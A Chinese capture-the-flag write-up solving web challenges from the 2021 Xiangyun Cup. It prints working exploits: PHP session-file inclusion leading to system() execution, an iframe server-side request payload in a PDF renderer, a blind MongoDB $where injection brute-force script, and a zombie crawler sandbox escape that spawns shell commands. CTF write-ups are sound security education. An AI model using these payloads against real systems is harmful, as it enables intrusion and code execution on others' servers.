2021-第二届祥云杯-Web-WP[部分赛后复现]

/ ctf

2021 第二届祥云杯 Web WriteUp

打了两天Web,有一些做出来了,有一些没做出来,感觉还是知识点不够全面。

赛后找到了全做出来的队伍的WP:

第二届”祥云杯” WEB WP - 安全客,安全资讯平台 (anquanke.com)

跟着复现了一遍,都记录一下吧!

做出来的

安全检测

进去登录之后是一个输入框,输入url服务器就会去访问,如果响应正常,访问preview.php服务器就会再访问一次,然后file_get_contents内容返回。

这里有个waf过滤了很多。

用dirsearch扫到有个admin目录是403,用ssrf打过去,admin下有个include123.php,访问拿到如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);
show_source(__FILE__);
?>

这里尝试include /tmp/sess_PHPSESSID,是可以读到的,能看到,url会存在session文件里。

这里就可以通过include session文件来执行任意php代码。

payload :

1
u=/tmp/sess_{PHPSESSID}&<?=phpinfo();>

写了个exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import urllib.parse

url = "http://eci-2zeja2ipip8vfmlfx65z.cloudeci1.ichunqiu.com"
cookie = "6bec0ccc9d15ed510b3e1651ac571dd2"
header = {
"cookie":"PHPSESSID="+cookie
}
#print(urllib.parse.quote((urllib.parse.quote("ls /"))))
shell1 = (urllib.parse.quote("cat /getfl"))
shell2 = (urllib.parse.quote("ag.sh")) #因为输入的url会拦截'flag',所以采用参数拼接来执行
r = requests.post(url+"check2.php",data={"url1":"http://127.0.0.1/admin/include123.php?shell1="+shell1+"&shell2="+shell2+"&u=/tmp/sess_"+cookie+"&><?=print('\n\n');system($_GET['shell1'].$_GET['shell2']);print('\n');?>"},headers=header)

r = requests.get(url,headers=header)

r = requests.get(url+"preview.php",headers=header)
print(r.text)

Secrets_Of_Admin

这道题给我的感觉就是很多障眼法,其实最后get flag的方法十分简单…(服气

一进去是个登录框

image-20210824152926109

admin的密码可以在database.ts获得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
let db = new sqlite3.Database('./database.db', (err) => {
if (err) {
console.log(err.message)
} else {
console.log("Successfully Connected!");
db.exec(`
DROP TABLE IF EXISTS users;

CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL,
password VARCHAR(255) NOT NULL
);

INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

DROP TABLE IF EXISTS files;

CREATE TABLE IF NOT EXISTS files (
username VARCHAR(255) NOT NULL,
filename VARCHAR(255) NOT NULL UNIQUE,
checksum VARCHAR(255) NOT NULL
);

INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);
//这里直接预先存了一条flag的索引记录
console.log('Init Finished!')
}
});

登录进去是这样的

image-20210824153223284

这部分的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){ //这一行会拦截一些关键词以防xss,但是将content改成content[],变成数组即可绕过
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
//这里会将content的内容放入一个html里
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => { //这里将html转成pdf
if (err) next(createError(500));
const checksum = await getCheckSum(filename); //根据文件名生成一个checksum
console.log(checksum)
await DB.Create('superuser', filename, checksum) //以superuser的身份创建这个文件的索引,checksum是索引id
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

那么content发过去之后,要如何访问存着的pdf呢,有这么一个接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
router.get('/admin', checkAuth, async (req, res) => {
let token = req.signedCookies['token'];
try {
const files = await DB.listFile(token.username);
console.log(files)
if (files) {
res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
}
} catch (err) {
return res.render('admin', { error: 'Something wrong ... 👻'})
}
return res.render('admin');
});

只要访问这个接口,就会根据token的username获取files的信息存在token里,因为是superuser的身份创建的文件,所以我们需要以superuser的token来访问

在app.ts里我们可以看到cookie的生成是有固定key的,那么根据这个key去伪造token就好了。

但是当以superuser的身份来访问的时候,又有新的问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const checkAuth = (req: Request, res:Response, next:NextFunction) => {
let token = req.signedCookies['token']
if (token && token["username"]) {
if (token.username === 'superuser'){ //所以需要checkAuth的接口,只要是superuser的身份都会直接返回404
next(createError(404)) // superuser is disabled since you can't even find it in database :)
}
if (token.isAdmin === true) {
next();
}
else {
return res.redirect('/')
}
} else {
next(createError(404));
}
}

找不到地方绕过去,看来是拿不到上传的文件信息了。

再让我们看/api/files和/api/files/:id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// You can also add file logs here! 这个接口可以自行添加文件的索引记录
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { //这里限制了只能127.0.0.1访问
return next(createError(401));
}
let { username , filename, checksum } = req.query; //传入三个参数,分别是文件的上传者,文件名,还有checksum
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum) //直接在数据库中插入记录
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') { //如果登录身份是superuser会直接返回
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id) //根据url里的id作为checksum,结合token的username查找文件名
if (fs.existsSync(path.join(__dirname , "../files/", filename))){//根据查找到的文件名返回文件内容,flag就放在../flies/flag里
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});

仔细审计了get:/api/files和get:/api/files/:id还有post:/admin之后,思路逐渐清晰起来。

我们可以在post:/admin的content中放一个iframe,转成pdf是会解析iframe的。

content的payload:

1
content[]=<iframe src="http://127.0.0.1:8888/api/files?username=当前登录用户名&filename=/flag&checksum=任意checksum"></iframe>

这时服务器通过本机访问了get:/api/files,成功创建了一条文件索引。

然后我们再根据提交的任意checksum访问get:/api/files/[任意checksum],就可以拿到flag内容了。

image-20210824162010714

PackageManager2021

写累了,细节不写了,有精力再补吧😂

index.ts:66

1
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()

这里有个mongodb注入

payload:

1
bfc31e7c22340f30e5b15badc0cafead" || this.password['+str(i)+'] == "'+chr(x)+'" && this.username == "admin

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://localhost:8888/auth"
header = {
"cookie":"session=s%3ADS_lSaFLU5N1g58ZN4fCSLV0X0O9TaAX.tq%2FPIh%2F%2BtqVuzC62UnA7I3lU6HcJ7t9tap3njjzCBAM"
}
def test(payload):
r = requests.post(url,data={
"_csrf":"T9j6USpU-2tx5OeLywlKvwZlq4hSPXdeGFLA",
"token":payload
},headers=header,allow_redirects=False)
print(r.text)
print(result)
return "Found" in r.text

result = ""
for i in range(0,100):
for x in range(32,128):
if(test('bfc31e7c22340f30e5b15badc0cafead" || this.password['+str(i)+'] == "'+chr(x)+'" && this.username == "admin')):
result = result + chr(x)
print(result)
break

爆出admin密码

登录即可看到flag

没做出来的

这部分看着 第二届”祥云杯” WEB WP - 安全客,安全资讯平台 (anquanke.com) 复现的

crawler_z

这道题开始主要关注这三个接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
router.post('/profile', async (req, res, next) => {
let { affiliation, age, bucket } = req.body; //post三个参数进来,主要是在bucket上
const user = await User.findByPk(req.session.userId);
if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
return res.render('user', { user, error: "Parameters error or blank." });
}
//================这里贴一个checkBucket方法=================
checkBucket(url) {
try {
url = new URL(url);
} catch (err) {
return false;
}
if (url.protocol != "http:" && url.protocol != "https:") return false; //url必须是http或者https
if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false; //url中必须要有"oss-cn-beijing.ichunqiu.com"
return true;
}
//=======================================================
if (!utils.checkBucket(bucket)) {//bucket传进来之后会检查 ⬆️
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
try {
await User.update({
affiliation,
age,
personalBucket: bucket //bucket不是立即更新,而是存在personalBucket里
}, {
where: { userId: req.session.userId }
});
const token = crypto.randomBytes(32).toString('hex'); //给这次更新请求生成一个token
authToken = token;
await Token.create({ userId: req.session.userId, token, valid: true }); //带着token和userId插入一条Token表记录
await Token.update({ //这里将该用户除了此次更新请求以外的其他记录,valid都设置成false
valid: false,
}, {
where: {
userId: req.session.userId,
token: { [Op.not]: authToken }
}
});
} catch (err) {
next(createError(500));
}
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
//如果申请更新bucket符合这个正则表达式,则带着token直接跳转到/user/verify,去更新bucket
res.redirect(`/user/verify?token=${authToken}`)
} else {
//这里就不会跳转,后续我们也没办法拿到authToken
// Well, admin won't do that actually XD.
return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

router.get('/verify', async (req, res, next) => {
let { token } = req.query; //传进来token
if (!token || typeof (token) !== "string") {
return res.send("Parameters error");
}
let user = await User.findByPk(req.session.userId);
const result = await Token.findOne({ //根据token和userId还有valid的状态获取更新请求的数据
token,
userId: req.session.userId,
valid: true
});
if (result) {
try {
await Token.update({ //把该用户所有请求的valid都改成false
valid: false
}, {
where: { userId: req.session.userId }
});
await User.update({ //把personalBucket更新到user表里的bucket
bucket: user.personalBucket
}, {
where: { userId: req.session.userId }
});
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
} catch (err) {
next(createError(500));
}
} else {
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Failed to update, check your token carefully" })
}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Not implemented yet
router.get('/bucket', async (req, res) => {
const user = await User.findByPk(req.session.userId);
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) {
return res.json({ message: "Sorry but our remote oss server is under maintenance" });
} else {
// Should be a private site for Admin
try {
//这里根据user表里的bucket执行爬虫,主要的漏洞就出现在这一块儿
const page = new Crawler({
userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
referrer: 'https://www.ichunqiu.com/',
waitDuration: '3s'
});
await page.goto(user.bucket);
const html = page.htmlContent;
const headers = page.headers;
const cookies = page.cookies;
await page.close();

return res.json({ html, headers, cookies});
} catch (err) {
return res.json({ err: 'Error visiting your bucket. ' })
}
}
});

首先第一步要解决如果更新替换bucket的问题。

从代码逻辑上可以看到,我们可以用burp提交一个符合正则表达式的bucket进去,截住重定向。

然后再提交一个我们自己要更新的bucket进去比如

http://oss-cn-beijing.ichunqiu.com.example.com:1234

或者

http://example.com?oss-cn-beijing.ichunqiu.com

等等。

最后放了那个重定向访问,就可以成功把他换成我们需要的url。

那么第二步就着手要通过这个url打ssrf来获取服务器权限。

zombie库有漏洞,但是当时搜遍全网都没搜索到,安全客文章里的链接是我看到的唯一一篇有关于zombie库漏洞的exp。

文章链接:https://ha.cker.in/index.php/Article/13563

除此之外没有其他任何信息,分析了一晚上这个漏洞,晚些有空可以把分析写一篇文章出来。

那么这道题的zombie是这样写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Crawler {
constructor(options) {
this.crawler = new zombie({
userAgent: options.userAgent,
referrer: options.referrer,
silent: true,
strictSSL: false
});
}

goto(url) {
return new Promise((resolve, reject) => {
try {
this.crawler.visit(url, () => { //漏洞就在这里
const resource = this.crawler.resources.length
? this.crawler.resources.filter(resource => resource.response).shift() : null;
this.statusCode = resource.response.status
this.headers = this.getHeaders();
this.cookies = this.getCookies();
this.htmlContent = this.getHtmlContent();
resolve();
});
} catch (err) {
reject(err.message);
}
})
}

要如何执行获取服务器权限呢?只需要在爬虫访问的目标里放上这样的内容:

1
2
3
4
5
6
7
<!-- http://bucket/exp.html -->
<script>
//这部分代码会直接执行,在这里做vm沙箱逃逸即可
var p = this.constructor.constructor('return process')();
sync=p.mainModule.require('child_process').spawnSync;
sync('bash',['-c' ,'open /System/Applications/Calculator.app']); //mac环境下测试
</script>

效果如下:

291891492291361822021-08-24_17.44.12

直接代码改成反弹shell即可

其他还在写….